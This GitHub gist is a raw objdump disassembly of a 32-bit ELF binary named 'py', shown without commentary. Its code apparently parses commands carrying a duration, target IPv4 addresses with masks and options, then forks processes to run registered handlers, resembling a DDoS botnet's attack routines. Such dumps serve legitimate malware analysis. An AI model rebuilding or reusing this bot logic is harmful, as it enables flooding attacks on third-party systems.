Last active
December 16, 2021 05:57
-
-
Save ssmccoy/409d69cbee9116fdbf812ba1b65afe28 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
py: file format elf32-i386 | |
Disassembly of section .init: | |
08048094 <.init>: | |
8048094: 55 push %ebp | |
8048095: 89 e5 mov %esp,%ebp | |
8048097: 53 push %ebx | |
8048098: e8 13 00 00 00 call 0x80480b0 | |
804809d: 81 c3 77 6f 00 00 add $0x6f77,%ebx | |
80480a3: e8 68 00 00 00 call 0x8048110 | |
80480a8: e8 83 67 00 00 call 0x804e830 | |
80480ad: 5b pop %ebx | |
80480ae: 5d pop %ebp | |
80480af: c3 ret | |
Disassembly of section .text: | |
080480b0 <.text>: | |
80480b0: 8b 1c 24 mov (%esp),%ebx | |
80480b3: c3 ret | |
80480b4: 90 nop | |
80480b5: 90 nop | |
80480b6: 90 nop | |
80480b7: 90 nop | |
80480b8: 90 nop | |
80480b9: 90 nop | |
80480ba: 90 nop | |
80480bb: 90 nop | |
80480bc: 90 nop | |
80480bd: 90 nop | |
80480be: 90 nop | |
80480bf: 90 nop | |
80480c0: 55 push %ebp | |
80480c1: 89 e5 mov %esp,%ebp | |
80480c3: 83 ec 08 sub $0x8,%esp | |
80480c6: 80 3d a0 f0 04 08 00 cmpb $0x0,0x804f0a0 | |
80480cd: 74 0c je 0x80480db | |
80480cf: eb 35 jmp 0x8048106 | |
80480d1: 83 c0 04 add $0x4,%eax | |
80480d4: a3 24 f0 04 08 mov %eax,0x804f024 | |
80480d9: ff d2 call *%edx | |
80480db: a1 24 f0 04 08 mov 0x804f024,%eax | |
80480e0: 8b 10 mov (%eax),%edx | |
80480e2: 85 d2 test %edx,%edx | |
80480e4: 75 eb jne 0x80480d1 | |
80480e6: b8 00 00 00 00 mov $0x0,%eax | |
80480eb: 85 c0 test %eax,%eax | |
80480ed: 74 10 je 0x80480ff | |
80480ef: 83 ec 0c sub $0xc,%esp | |
80480f2: 68 80 ef 04 08 push $0x804ef80 | |
80480f7: e8 04 7f fb f7 call 0x0 | |
80480fc: 83 c4 10 add $0x10,%esp | |
80480ff: c6 05 a0 f0 04 08 01 movb $0x1,0x804f0a0 | |
8048106: c9 leave | |
8048107: c3 ret | |
8048108: 90 nop | |
8048109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi | |
8048110: 55 push %ebp | |
8048111: b8 00 00 00 00 mov $0x0,%eax | |
8048116: 89 e5 mov %esp,%ebp | |
8048118: 83 ec 08 sub $0x8,%esp | |
804811b: e8 00 00 00 00 call 0x8048120 | |
8048120: 5a pop %edx | |
8048121: 81 c2 f4 6e 00 00 add $0x6ef4,%edx | |
8048127: 85 c0 test %eax,%eax | |
8048129: 74 15 je 0x8048140 | |
804812b: 52 push %edx | |
804812c: 6a 00 push $0x0 | |
804812e: 68 a4 f0 04 08 push $0x804f0a4 | |
8048133: 68 80 ef 04 08 push $0x804ef80 | |
8048138: e8 c3 7e fb f7 call 0x0 | |
804813d: 83 c4 10 add $0x10,%esp | |
8048140: a1 10 f0 04 08 mov 0x804f010,%eax | |
8048145: 85 c0 test %eax,%eax | |
8048147: 74 16 je 0x804815f | |
8048149: b8 00 00 00 00 mov $0x0,%eax | |
804814e: 85 c0 test %eax,%eax | |
8048150: 74 0d je 0x804815f | |
8048152: 83 ec 0c sub $0xc,%esp | |
8048155: 68 10 f0 04 08 push $0x804f010 | |
804815a: ff d0 call *%eax | |
804815c: 83 c4 10 add $0x10,%esp | |
804815f: c9 leave | |
8048160: c3 ret | |
8048161: 90 nop | |
8048162: 90 nop | |
8048163: 90 nop | |
8048164: 31 ed xor %ebp,%ebp | |
8048166: 5e pop %esi | |
8048167: 89 e1 mov %esp,%ecx | |
8048169: 83 e4 f0 and $0xfffffff0,%esp | |
804816c: 50 push %eax | |
804816d: 54 push %esp | |
804816e: 52 push %edx | |
804816f: 68 56 e8 04 08 push $0x804e856 | |
8048174: 68 94 80 04 08 push $0x8048094 | |
8048179: 51 push %ecx | |
804817a: 56 push %esi | |
804817b: 68 50 ac 04 08 push $0x804ac50 | |
8048180: e8 8c 5c 00 00 call 0x804de11 | |
8048185: f4 hlt | |
8048186: 90 nop | |
8048187: 90 nop | |
8048188: 90 nop | |
8048189: 90 nop | |
804818a: 90 nop | |
804818b: 90 nop | |
804818c: 90 nop | |
804818d: 90 nop | |
804818e: 90 nop | |
804818f: 90 nop | |
8048190: 55 push %ebp | |
8048191: 89 e5 mov %esp,%ebp | |
8048193: 57 push %edi | |
8048194: 56 push %esi | |
8048195: 53 push %ebx | |
8048196: 83 ec 0c sub $0xc,%esp | |
8048199: 8a 5d 0c mov 0xc(%ebp),%bl | |
804819c: 0f b6 7d 10 movzbl 0x10(%ebp),%edi | |
80481a0: 0f b6 75 18 movzbl 0x18(%ebp),%esi | |
80481a4: e8 58 3f 00 00 call 0x804c101 | |
80481a9: 83 f8 ff cmp $0xffffffff,%eax | |
80481ac: 74 04 je 0x80481b2 | |
80481ae: 85 c0 test %eax,%eax | |
80481b0: 7e 0e jle 0x80481c0 | |
80481b2: 8d 65 f4 lea -0xc(%ebp),%esp | |
80481b5: 5b pop %ebx | |
80481b6: 5e pop %esi | |
80481b7: 5f pop %edi | |
80481b8: 5d pop %ebp | |
80481b9: c3 ret | |
80481ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
80481c0: e8 3c 3f 00 00 call 0x804c101 | |
80481c5: 83 f8 ff cmp $0xffffffff,%eax | |
80481c8: 74 48 je 0x8048212 | |
80481ca: 85 c0 test %eax,%eax | |
80481cc: 75 4e jne 0x804821c | |
80481ce: 83 ec 0c sub $0xc,%esp | |
80481d1: 8b 45 08 mov 0x8(%ebp),%eax | |
80481d4: 50 push %eax | |
80481d5: e8 b2 58 00 00 call 0x804da8c | |
80481da: e8 6e 3f 00 00 call 0x804c14d | |
80481df: 5e pop %esi | |
80481e0: 5f pop %edi | |
80481e1: 6a 09 push $0x9 | |
80481e3: 50 push %eax | |
80481e4: e8 c9 3f 00 00 call 0x804c1b2 | |
80481e9: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
80481f0: e8 30 58 00 00 call 0x804da25 | |
80481f5: 89 f0 mov %esi,%eax | |
80481f7: 8b 5d 1c mov 0x1c(%ebp),%ebx | |
80481fa: 25 ff 00 00 00 and $0xff,%eax | |
80481ff: 53 push %ebx | |
8048200: 50 push %eax | |
8048201: 89 f8 mov %edi,%eax | |
8048203: 8b 4d 14 mov 0x14(%ebp),%ecx | |
8048206: 25 ff 00 00 00 and $0xff,%eax | |
804820b: 51 push %ecx | |
804820c: 50 push %eax | |
804820d: ff 12 call *(%edx) | |
804820f: 83 c4 10 add $0x10,%esp | |
8048212: 83 ec 0c sub $0xc,%esp | |
8048215: 6a 00 push $0x0 | |
8048217: e8 09 58 00 00 call 0x804da25 | |
804821c: 31 c0 xor %eax,%eax | |
804821e: a0 bc f0 04 08 mov 0x804f0bc,%al | |
8048223: 89 45 f0 mov %eax,-0x10(%ebp) | |
8048226: 85 c0 test %eax,%eax | |
8048228: 7e e8 jle 0x8048212 | |
804822a: 8b 0d c0 f0 04 08 mov 0x804f0c0,%ecx | |
8048230: 31 c0 xor %eax,%eax | |
8048232: 8b 11 mov (%ecx),%edx | |
8048234: 3a 5a 04 cmp 0x4(%edx),%bl | |
8048237: 75 0f jne 0x8048248 | |
8048239: eb ba jmp 0x80481f5 | |
804823b: 90 nop | |
804823c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048240: 8b 14 81 mov (%ecx,%eax,4),%edx | |
8048243: 38 5a 04 cmp %bl,0x4(%edx) | |
8048246: 74 ad je 0x80481f5 | |
8048248: 40 inc %eax | |
8048249: 3b 45 f0 cmp -0x10(%ebp),%eax | |
804824c: 75 f2 jne 0x8048240 | |
804824e: eb c2 jmp 0x8048212 | |
8048250: 55 push %ebp | |
8048251: 57 push %edi | |
8048252: 56 push %esi | |
8048253: 53 push %ebx | |
8048254: 83 ec 3c sub $0x3c,%esp | |
8048257: 8b 5c 24 54 mov 0x54(%esp),%ebx | |
804825b: 8b 74 24 50 mov 0x50(%esp),%esi | |
804825f: 83 fb 03 cmp $0x3,%ebx | |
8048262: 77 0c ja 0x8048270 | |
8048264: 83 c4 3c add $0x3c,%esp | |
8048267: 5b pop %ebx | |
8048268: 5e pop %esi | |
8048269: 5f pop %edi | |
804826a: 5d pop %ebp | |
804826b: c3 ret | |
804826c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048270: 8b 2e mov (%esi),%ebp | |
8048272: 66 c1 cd 08 ror $0x8,%bp | |
8048276: c1 cd 10 ror $0x10,%ebp | |
8048279: 66 c1 cd 08 ror $0x8,%bp | |
804827d: 83 fb 04 cmp $0x4,%ebx | |
8048280: 74 e2 je 0x8048264 | |
8048282: 8a 46 04 mov 0x4(%esi),%al | |
8048285: 83 fb 05 cmp $0x5,%ebx | |
8048288: 88 44 24 17 mov %al,0x17(%esp) | |
804828c: 74 d6 je 0x8048264 | |
804828e: 8a 46 05 mov 0x5(%esi),%al | |
8048291: 84 c0 test %al,%al | |
8048293: 74 cf je 0x8048264 | |
8048295: 25 ff 00 00 00 and $0xff,%eax | |
804829a: 8d 53 fa lea -0x6(%ebx),%edx | |
804829d: 89 44 24 18 mov %eax,0x18(%esp) | |
80482a1: 89 54 24 30 mov %edx,0x30(%esp) | |
80482a5: 8d 04 80 lea (%eax,%eax,4),%eax | |
80482a8: 89 44 24 10 mov %eax,0x10(%esp) | |
80482ac: 39 c2 cmp %eax,%edx | |
80482ae: 72 b4 jb 0x8048264 | |
80482b0: 50 push %eax | |
80482b1: 50 push %eax | |
80482b2: 6a 18 push $0x18 | |
80482b4: 8d 7e 06 lea 0x6(%esi),%edi | |
80482b7: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
80482bb: 51 push %ecx | |
80482bc: e8 23 4d 00 00 call 0x804cfe4 | |
80482c1: 89 44 24 48 mov %eax,0x48(%esp) | |
80482c5: 83 c4 10 add $0x10,%esp | |
80482c8: 8b 54 24 18 mov 0x18(%esp),%edx | |
80482cc: 85 d2 test %edx,%edx | |
80482ce: 7e 3d jle 0x804830d | |
80482d0: 8b 54 24 10 mov 0x10(%esp),%edx | |
80482d4: 89 c1 mov %eax,%ecx | |
80482d6: 8d 74 16 06 lea 0x6(%esi,%edx,1),%esi | |
80482da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
80482e0: 8b 17 mov (%edi),%edx | |
80482e2: 89 51 10 mov %edx,0x10(%ecx) | |
80482e5: 8a 47 04 mov 0x4(%edi),%al | |
80482e8: 83 c7 05 add $0x5,%edi | |
80482eb: 88 41 14 mov %al,0x14(%ecx) | |
80482ee: 66 c7 01 02 00 movw $0x2,(%ecx) | |
80482f3: 89 51 04 mov %edx,0x4(%ecx) | |
80482f6: 83 c1 18 add $0x18,%ecx | |
80482f9: 39 f7 cmp %esi,%edi | |
80482fb: 75 e3 jne 0x80482e0 | |
80482fd: 8b 74 24 18 mov 0x18(%esp),%esi | |
8048301: 8d 04 b6 lea (%esi,%esi,4),%eax | |
8048304: 29 c3 sub %eax,%ebx | |
8048306: 83 eb 06 sub $0x6,%ebx | |
8048309: 89 5c 24 30 mov %ebx,0x30(%esp) | |
804830d: 8b 44 24 30 mov 0x30(%esp),%eax | |
8048311: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp) | |
8048318: 00 | |
8048319: 85 c0 test %eax,%eax | |
804831b: 74 47 je 0x8048364 | |
804831d: 8a 07 mov (%edi),%al | |
804831f: 88 44 24 23 mov %al,0x23(%esp) | |
8048323: 84 c0 test %al,%al | |
8048325: 0f 85 a6 00 00 00 jne 0x80483d1 | |
804832b: c7 44 24 2c 00 00 00 movl $0x0,0x2c(%esp) | |
8048332: 00 | |
8048333: e8 7e 42 00 00 call 0x804c5b6 | |
8048338: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804833e: 53 push %ebx | |
804833f: 53 push %ebx | |
8048340: 8b 4c 24 2c mov 0x2c(%esp),%ecx | |
8048344: 51 push %ecx | |
8048345: 8b 54 24 38 mov 0x38(%esp),%edx | |
8048349: 52 push %edx | |
804834a: 8b 44 24 48 mov 0x48(%esp),%eax | |
804834e: 50 push %eax | |
804834f: 8b 44 24 2c mov 0x2c(%esp),%eax | |
8048353: 50 push %eax | |
8048354: 31 c0 xor %eax,%eax | |
8048356: 8a 44 24 2f mov 0x2f(%esp),%al | |
804835a: 50 push %eax | |
804835b: 55 push %ebp | |
804835c: e8 2f fe ff ff call 0x8048190 | |
8048361: 83 c4 20 add $0x20,%esp | |
8048364: 8b 44 24 38 mov 0x38(%esp),%eax | |
8048368: 85 c0 test %eax,%eax | |
804836a: 74 10 je 0x804837c | |
804836c: 83 ec 0c sub $0xc,%esp | |
804836f: 8b 44 24 44 mov 0x44(%esp),%eax | |
8048373: 50 push %eax | |
8048374: e8 bc 52 00 00 call 0x804d635 | |
8048379: 83 c4 10 add $0x10,%esp | |
804837c: 8b 44 24 24 mov 0x24(%esp),%eax | |
8048380: 85 c0 test %eax,%eax | |
8048382: 0f 84 dc fe ff ff je 0x8048264 | |
8048388: 31 c0 xor %eax,%eax | |
804838a: 8a 44 24 23 mov 0x23(%esp),%al | |
804838e: 85 c0 test %eax,%eax | |
8048390: 7e 2b jle 0x80483bd | |
8048392: bb 01 00 00 00 mov $0x1,%ebx | |
8048397: 8d 70 01 lea 0x1(%eax),%esi | |
804839a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi | |
80483a0: 8b 54 24 24 mov 0x24(%esp),%edx | |
80483a4: 8b 44 da f8 mov -0x8(%edx,%ebx,8),%eax | |
80483a8: 85 c0 test %eax,%eax | |
80483aa: 74 0c je 0x80483b8 | |
80483ac: 83 ec 0c sub $0xc,%esp | |
80483af: 50 push %eax | |
80483b0: e8 80 52 00 00 call 0x804d635 | |
80483b5: 83 c4 10 add $0x10,%esp | |
80483b8: 43 inc %ebx | |
80483b9: 39 f3 cmp %esi,%ebx | |
80483bb: 75 e3 jne 0x80483a0 | |
80483bd: 8b 5c 24 24 mov 0x24(%esp),%ebx | |
80483c1: 89 5c 24 50 mov %ebx,0x50(%esp) | |
80483c5: 83 c4 3c add $0x3c,%esp | |
80483c8: 5b pop %ebx | |
80483c9: 5e pop %esi | |
80483ca: 5f pop %edi | |
80483cb: 5d pop %ebp | |
80483cc: e9 64 52 00 00 jmp 0x804d635 | |
80483d1: 31 d2 xor %edx,%edx | |
80483d3: 50 push %eax | |
80483d4: 50 push %eax | |
80483d5: 6a 08 push $0x8 | |
80483d7: 8a 54 24 2f mov 0x2f(%esp),%dl | |
80483db: 89 54 24 18 mov %edx,0x18(%esp) | |
80483df: 52 push %edx | |
80483e0: e8 ff 4b 00 00 call 0x804cfe4 | |
80483e5: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
80483e9: 89 44 24 34 mov %eax,0x34(%esp) | |
80483ed: 89 5c 24 3c mov %ebx,0x3c(%esp) | |
80483f1: 83 c4 10 add $0x10,%esp | |
80483f4: 85 db test %ebx,%ebx | |
80483f6: 0f 8e 37 ff ff ff jle 0x8048333 | |
80483fc: 83 7c 24 30 01 cmpl $0x1,0x30(%esp) | |
8048401: 0f 84 5d ff ff ff je 0x8048364 | |
8048407: 8b 74 24 24 mov 0x24(%esp),%esi | |
804840b: 8a 47 01 mov 0x1(%edi),%al | |
804840e: 88 46 04 mov %al,0x4(%esi) | |
8048411: 83 7c 24 30 02 cmpl $0x2,0x30(%esp) | |
8048416: 0f 84 48 ff ff ff je 0x8048364 | |
804841c: 8a 47 02 mov 0x2(%edi),%al | |
804841f: 31 db xor %ebx,%ebx | |
8048421: 8b 74 24 30 mov 0x30(%esp),%esi | |
8048425: 88 c3 mov %al,%bl | |
8048427: 83 ee 03 sub $0x3,%esi | |
804842a: 88 44 24 2b mov %al,0x2b(%esp) | |
804842e: 39 de cmp %ebx,%esi | |
8048430: 0f 8c 2e ff ff ff jl 0x8048364 | |
8048436: 8b 54 24 24 mov 0x24(%esp),%edx | |
804843a: 83 c7 03 add $0x3,%edi | |
804843d: 89 54 24 34 mov %edx,0x34(%esp) | |
8048441: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp) | |
8048448: 00 | |
8048449: eb 53 jmp 0x804849e | |
804844b: 90 nop | |
804844c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
8048450: 89 f1 mov %esi,%ecx | |
8048452: 29 d9 sub %ebx,%ecx | |
8048454: 0f 84 0a ff ff ff je 0x8048364 | |
804845a: 31 c0 xor %eax,%eax | |
804845c: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
8048460: 8a 44 24 2b mov 0x2b(%esp),%al | |
8048464: 8b 74 24 24 mov 0x24(%esp),%esi | |
8048468: 83 f9 01 cmp $0x1,%ecx | |
804846b: 8d 1c de lea (%esi,%ebx,8),%ebx | |
804846e: 8d 14 38 lea (%eax,%edi,1),%edx | |
8048471: 89 5c 24 34 mov %ebx,0x34(%esp) | |
8048475: 8b 5c 24 1c mov 0x1c(%esp),%ebx | |
8048479: 8a 02 mov (%edx),%al | |
804847b: 88 44 de 04 mov %al,0x4(%esi,%ebx,8) | |
804847f: 0f 84 df fe ff ff je 0x8048364 | |
8048485: 8a 42 01 mov 0x1(%edx),%al | |
8048488: 31 db xor %ebx,%ebx | |
804848a: 8d 71 fe lea -0x2(%ecx),%esi | |
804848d: 88 c3 mov %al,%bl | |
804848f: 88 44 24 2b mov %al,0x2b(%esp) | |
8048493: 39 de cmp %ebx,%esi | |
8048495: 0f 8c c9 fe ff ff jl 0x8048364 | |
804849b: 8d 7a 02 lea 0x2(%edx),%edi | |
804849e: 50 push %eax | |
804849f: 50 push %eax | |
80484a0: 8d 43 01 lea 0x1(%ebx),%eax | |
80484a3: 6a 01 push $0x1 | |
80484a5: 50 push %eax | |
80484a6: e8 39 4b 00 00 call 0x804cfe4 | |
80484ab: 8b 54 24 44 mov 0x44(%esp),%edx | |
80484af: 83 c4 0c add $0xc,%esp | |
80484b2: 89 02 mov %eax,(%edx) | |
80484b4: 53 push %ebx | |
80484b5: 57 push %edi | |
80484b6: 50 push %eax | |
80484b7: e8 a4 37 00 00 call 0x804bc60 | |
80484bc: 8b 44 24 2c mov 0x2c(%esp),%eax | |
80484c0: 40 inc %eax | |
80484c1: 89 44 24 2c mov %eax,0x2c(%esp) | |
80484c5: 83 c4 10 add $0x10,%esp | |
80484c8: 8b 44 24 0c mov 0xc(%esp),%eax | |
80484cc: 39 44 24 1c cmp %eax,0x1c(%esp) | |
80484d0: 0f 85 7a ff ff ff jne 0x8048450 | |
80484d6: e9 58 fe ff ff jmp 0x8048333 | |
80484db: 90 nop | |
80484dc: 90 nop | |
80484dd: 90 nop | |
80484de: 90 nop | |
80484df: 90 nop | |
80484e0: 57 push %edi | |
80484e1: 56 push %esi | |
80484e2: 53 push %ebx | |
80484e3: 83 ec 04 sub $0x4,%esp | |
80484e6: 8a 54 24 14 mov 0x14(%esp),%dl | |
80484ea: 8b 5c 24 18 mov 0x18(%esp),%ebx | |
80484ee: 81 e2 ff 00 00 00 and $0xff,%edx | |
80484f4: 8b 7c 24 20 mov 0x20(%esp),%edi | |
80484f8: 8a 44 24 1c mov 0x1c(%esp),%al | |
80484fc: 89 d6 mov %edx,%esi | |
80484fe: 85 d2 test %edx,%edx | |
8048500: 74 23 je 0x8048525 | |
8048502: 88 44 24 03 mov %al,0x3(%esp) | |
8048506: 3a 43 04 cmp 0x4(%ebx),%al | |
8048509: 74 21 je 0x804852c | |
804850b: 8d 53 08 lea 0x8(%ebx),%edx | |
804850e: 31 c9 xor %ecx,%ecx | |
8048510: eb 0e jmp 0x8048520 | |
8048512: 8a 42 04 mov 0x4(%edx),%al | |
8048515: 89 d3 mov %edx,%ebx | |
8048517: 83 c2 08 add $0x8,%edx | |
804851a: 38 44 24 03 cmp %al,0x3(%esp) | |
804851e: 74 0c je 0x804852c | |
8048520: 41 inc %ecx | |
8048521: 39 ce cmp %ecx,%esi | |
8048523: 75 ed jne 0x8048512 | |
8048525: 89 f8 mov %edi,%eax | |
8048527: 59 pop %ecx | |
8048528: 5b pop %ebx | |
8048529: 5e pop %esi | |
804852a: 5f pop %edi | |
804852b: c3 ret | |
804852c: 8b 03 mov (%ebx),%eax | |
804852e: 85 c0 test %eax,%eax | |
8048530: 74 f3 je 0x8048525 | |
8048532: 89 44 24 14 mov %eax,0x14(%esp) | |
8048536: 5b pop %ebx | |
8048537: 5b pop %ebx | |
8048538: 5e pop %esi | |
8048539: 5f pop %edi | |
804853a: e9 f8 40 00 00 jmp 0x804c637 | |
804853f: 90 nop | |
8048540: 57 push %edi | |
8048541: 56 push %esi | |
8048542: 53 push %ebx | |
8048543: 83 ec 04 sub $0x4,%esp | |
8048546: 8a 54 24 14 mov 0x14(%esp),%dl | |
804854a: 8b 5c 24 18 mov 0x18(%esp),%ebx | |
804854e: 81 e2 ff 00 00 00 and $0xff,%edx | |
8048554: 8b 7c 24 20 mov 0x20(%esp),%edi | |
8048558: 8a 44 24 1c mov 0x1c(%esp),%al | |
804855c: 89 d6 mov %edx,%esi | |
804855e: 85 d2 test %edx,%edx | |
8048560: 74 23 je 0x8048585 | |
8048562: 88 44 24 03 mov %al,0x3(%esp) | |
8048566: 3a 43 04 cmp 0x4(%ebx),%al | |
8048569: 74 21 je 0x804858c | |
804856b: 8d 53 08 lea 0x8(%ebx),%edx | |
804856e: 31 c9 xor %ecx,%ecx | |
8048570: eb 0e jmp 0x8048580 | |
8048572: 8a 42 04 mov 0x4(%edx),%al | |
8048575: 89 d3 mov %edx,%ebx | |
8048577: 83 c2 08 add $0x8,%edx | |
804857a: 38 44 24 03 cmp %al,0x3(%esp) | |
804857e: 74 0c je 0x804858c | |
8048580: 41 inc %ecx | |
8048581: 39 ce cmp %ecx,%esi | |
8048583: 75 ed jne 0x8048572 | |
8048585: 89 f8 mov %edi,%eax | |
8048587: 5e pop %esi | |
8048588: 5b pop %ebx | |
8048589: 5e pop %esi | |
804858a: 5f pop %edi | |
804858b: c3 ret | |
804858c: 8b 03 mov (%ebx),%eax | |
804858e: 85 c0 test %eax,%eax | |
8048590: 74 f3 je 0x8048585 | |
8048592: c7 44 24 18 0a 00 00 movl $0xa,0x18(%esp) | |
8048599: 00 | |
804859a: 89 44 24 14 mov %eax,0x14(%esp) | |
804859e: 5f pop %edi | |
804859f: 5b pop %ebx | |
80485a0: 5e pop %esi | |
80485a1: 5f pop %edi | |
80485a2: e9 09 37 00 00 jmp 0x804bcb0 | |
80485a7: 90 nop | |
80485a8: 90 nop | |
80485a9: 90 nop | |
80485aa: 90 nop | |
80485ab: 90 nop | |
80485ac: 90 nop | |
80485ad: 90 nop | |
80485ae: 90 nop | |
80485af: 90 nop | |
80485b0: 53 push %ebx | |
80485b1: 83 ec 10 sub $0x10,%esp | |
80485b4: 6a 08 push $0x8 | |
80485b6: 6a 01 push $0x1 | |
80485b8: e8 27 4a 00 00 call 0x804cfe4 | |
80485bd: 89 c3 mov %eax,%ebx | |
80485bf: c6 40 04 01 movb $0x1,0x4(%eax) | |
80485c3: c7 00 40 87 04 08 movl $0x8048740,(%eax) | |
80485c9: 58 pop %eax | |
80485ca: 31 c0 xor %eax,%eax | |
80485cc: a0 bc f0 04 08 mov 0x804f0bc,%al | |
80485d1: 5a pop %edx | |
80485d2: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
80485d9: 50 push %eax | |
80485da: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
80485df: 50 push %eax | |
80485e0: e8 f3 4a 00 00 call 0x804d0d8 | |
80485e5: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
80485eb: 31 c9 xor %ecx,%ecx | |
80485ed: 88 d1 mov %dl,%cl | |
80485ef: 42 inc %edx | |
80485f0: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
80485f5: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
80485f8: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
80485fe: 59 pop %ecx | |
80485ff: 5b pop %ebx | |
8048600: 6a 08 push $0x8 | |
8048602: 6a 01 push $0x1 | |
8048604: e8 db 49 00 00 call 0x804cfe4 | |
8048609: 89 c3 mov %eax,%ebx | |
804860b: c6 40 04 02 movb $0x2,0x4(%eax) | |
804860f: c7 00 f0 89 04 08 movl $0x80489f0,(%eax) | |
8048615: 58 pop %eax | |
8048616: 31 c0 xor %eax,%eax | |
8048618: a0 bc f0 04 08 mov 0x804f0bc,%al | |
804861d: 5a pop %edx | |
804861e: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
8048625: 50 push %eax | |
8048626: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
804862b: 50 push %eax | |
804862c: e8 a7 4a 00 00 call 0x804d0d8 | |
8048631: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
8048637: 31 c9 xor %ecx,%ecx | |
8048639: 88 d1 mov %dl,%cl | |
804863b: 42 inc %edx | |
804863c: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
8048641: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
8048644: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
804864a: 59 pop %ecx | |
804864b: 5b pop %ebx | |
804864c: 6a 08 push $0x8 | |
804864e: 6a 01 push $0x1 | |
8048650: e8 8f 49 00 00 call 0x804cfe4 | |
8048655: 89 c3 mov %eax,%ebx | |
8048657: c6 40 04 03 movb $0x3,0x4(%eax) | |
804865b: c7 00 a0 8c 04 08 movl $0x8048ca0,(%eax) | |
8048661: 58 pop %eax | |
8048662: 31 c0 xor %eax,%eax | |
8048664: a0 bc f0 04 08 mov 0x804f0bc,%al | |
8048669: 5a pop %edx | |
804866a: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
8048671: 50 push %eax | |
8048672: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
8048677: 50 push %eax | |
8048678: e8 5b 4a 00 00 call 0x804d0d8 | |
804867d: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
8048683: 31 c9 xor %ecx,%ecx | |
8048685: 88 d1 mov %dl,%cl | |
8048687: 42 inc %edx | |
8048688: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
804868d: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
8048690: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
8048696: 59 pop %ecx | |
8048697: 5b pop %ebx | |
8048698: 6a 08 push $0x8 | |
804869a: 6a 01 push $0x1 | |
804869c: e8 43 49 00 00 call 0x804cfe4 | |
80486a1: 89 c3 mov %eax,%ebx | |
80486a3: c6 40 04 04 movb $0x4,0x4(%eax) | |
80486a7: c7 00 10 96 04 08 movl $0x8049610,(%eax) | |
80486ad: 58 pop %eax | |
80486ae: 31 c0 xor %eax,%eax | |
80486b0: a0 bc f0 04 08 mov 0x804f0bc,%al | |
80486b5: 5a pop %edx | |
80486b6: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
80486bd: 50 push %eax | |
80486be: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
80486c3: 50 push %eax | |
80486c4: e8 0f 4a 00 00 call 0x804d0d8 | |
80486c9: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
80486cf: 31 c9 xor %ecx,%ecx | |
80486d1: 88 d1 mov %dl,%cl | |
80486d3: 42 inc %edx | |
80486d4: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
80486d9: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
80486dc: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
80486e2: 59 pop %ecx | |
80486e3: 5b pop %ebx | |
80486e4: 6a 08 push $0x8 | |
80486e6: 6a 01 push $0x1 | |
80486e8: e8 f7 48 00 00 call 0x804cfe4 | |
80486ed: 89 c3 mov %eax,%ebx | |
80486ef: c6 40 04 05 movb $0x5,0x4(%eax) | |
80486f3: c7 00 70 90 04 08 movl $0x8049070,(%eax) | |
80486f9: 58 pop %eax | |
80486fa: 31 c0 xor %eax,%eax | |
80486fc: a0 bc f0 04 08 mov 0x804f0bc,%al | |
8048701: 5a pop %edx | |
8048702: 8d 04 85 04 00 00 00 lea 0x4(,%eax,4),%eax | |
8048709: 50 push %eax | |
804870a: a1 c0 f0 04 08 mov 0x804f0c0,%eax | |
804870f: 50 push %eax | |
8048710: e8 c3 49 00 00 call 0x804d0d8 | |
8048715: 8a 15 bc f0 04 08 mov 0x804f0bc,%dl | |
804871b: 31 c9 xor %ecx,%ecx | |
804871d: 88 d1 mov %dl,%cl | |
804871f: 42 inc %edx | |
8048720: a3 c0 f0 04 08 mov %eax,0x804f0c0 | |
8048725: 89 1c 88 mov %ebx,(%eax,%ecx,4) | |
8048728: 88 15 bc f0 04 08 mov %dl,0x804f0bc | |
804872e: b8 01 00 00 00 mov $0x1,%eax | |
8048733: 83 c4 18 add $0x18,%esp | |
8048736: 5b pop %ebx | |
8048737: c3 ret | |
8048738: 90 nop | |
8048739: 90 nop | |
804873a: 90 nop | |
804873b: 90 nop | |
804873c: 90 nop | |
804873d: 90 nop | |
804873e: 90 nop | |
804873f: 90 nop | |
8048740: 55 push %ebp | |
8048741: 57 push %edi | |
8048742: 56 push %esi | |
8048743: 53 push %ebx | |
8048744: 83 ec 44 sub $0x44,%esp | |
8048747: 8a 44 24 58 mov 0x58(%esp),%al | |
804874b: 8b 5c 24 64 mov 0x64(%esp),%ebx | |
804874f: 88 c2 mov %al,%dl | |
